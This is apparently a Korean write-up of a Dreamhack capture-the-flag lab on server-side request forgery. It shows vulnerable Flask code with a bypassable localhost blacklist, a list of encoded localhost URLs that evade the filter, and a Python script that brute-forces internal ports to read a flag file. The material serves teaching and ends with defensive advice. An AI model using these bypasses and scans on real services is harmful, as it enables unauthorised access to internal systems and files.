Web Hacking - ServerSide : Server Side Request Forgery (SSRF)

  • 함께 실습 : web-ssrf

함께 실습 : web-ssrf

플래그는 /app/flag.txt 에 있다

웹 서비스 분석

/img_viewer

GET : img_viewer.html 렌더링

POST : 이용자가 입력한 url에 HTTP 요청을 보내고, 응답을 img_viewer.html의 인자로 렌더링

@app.route("/img_viewer", methods=["GET", "POST"])
def img_viewer():
    if request.method == "GET":
        return render_template("img_viewer.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

run_local_server 함수

파이썬의 기본 모듈인 http를 이용하여 127.0.0.1의 임의 포트에 HTTP 서버를 실행한다. http.server.HTTPServer의 두 번째 인자로 http.server.SimpleHttpRequestHandler을 전달하면, 현재 디렉토리를 기준으로 URL이 가리키는 리소스를 반환하는 웹 서버가 생성된다.

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)

def run_local_server():
    local_server.serve_forever()

threading._start_new_thread(run_local_server, ())

취약점 분석

elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
    data = open("error.png", "rb").read()
    img = base64.b64encode(data).decode("utf8")
    return render_template("img_viewer.html", img=img)

img_viewer는 위와 같은 방법으로 127.0.0.1 또는 localhost가 포함된 URL로의 접근을 막기에, 이를 우회하면 SSRF를 통한 내부 HTTP 서버 접근을 할 수 있다.

* URL 필터링은 URL에 포한되면 안되는 문자열로 블랙리스트를 만들고, 이를 이용하여 이용자의 접근을 제어하는 블랙리스트 필터링과, 접근을 허용할 URL로 구성된 화이트리스트 외의 URL을 모두 차단하는 화이트리스트 필터링으로 나뉜다

익스플로잇

  • 127.0.0.1과 매핑된 도메인 이름 사용
    임의의 도메인 이름을 구매하여 127.0.0.1과 연결하고, 그 이름을 url로 사용하거나, 이미 127.0.0.1에 매핑된 *.vcap.me 를 이용하여 접근할 수 있다

  • 127.0.0.1의 alias 이용
    하나의 IP는 여러 방식으로 표기되는데, 127.0.0.1의 경우, 다음과 같은 방식으로 표기될 수 있다.

How Example
16진수로 변환 0x7f.0x00.0x00.0x01
16진수 변환에서 . 제거 0x7f000001
위 숫자를 10진수로 변환 2130706433
각 자리에서 0 생략 127.1 / 127.0.1
  • localhost의 alias 이용
    호스트와 스키마는 대소문자를 구분하지 않으므로, localhost의 임의 문자를 대문자로 바꾸어도 같은 호스트를 의미한다

필터링을 우회할 수 있는 로컬호스트의 URL

http://vcap.me:8000/

http://0x7f.0x00.0x00.0x01:8000/

http://0x7f000001:8000/

http://2130706433:8000/

http://Localhost:8000/

http://127.0.0.255:8000/

풀이

1) 아래와 같이 내부 HTTP 서버의 포트번호를 알아내는 코드를 작성 후 실행한다

from flask import (
    Flask,
    request
)
import requests

for port in range(1500, 1800):
    res = requests.post('http://host3.dreamhack.games:10334/img_viewer', data={'url': 'http://Localhost:' + str(port)})
    print(port)
    if len(res.text) != 65121: # error.png의 res.text 길이 = 65121 바이트
        print('random port: ' + str(port))
        break

2) 다음과 같이 포트 번호의 정보를 얻는다


3) 포트 번호를 넣어 app/flag.txt 에 접근한다


4) 출력되는 img의 src가 바뀐 것을 볼 수 있는데, 다음 정보를 base64 디코더에 넣어 디코딩 하면 flag를 얻을 수 있다


SSRF 공격을 막으려면 ?

화이트리스팅으로 강한 URL 필터링을 적용하거나, HTTP 요청을 하는 애플리케이션을 내부망과 분리하여 약점을 보완할 수 있다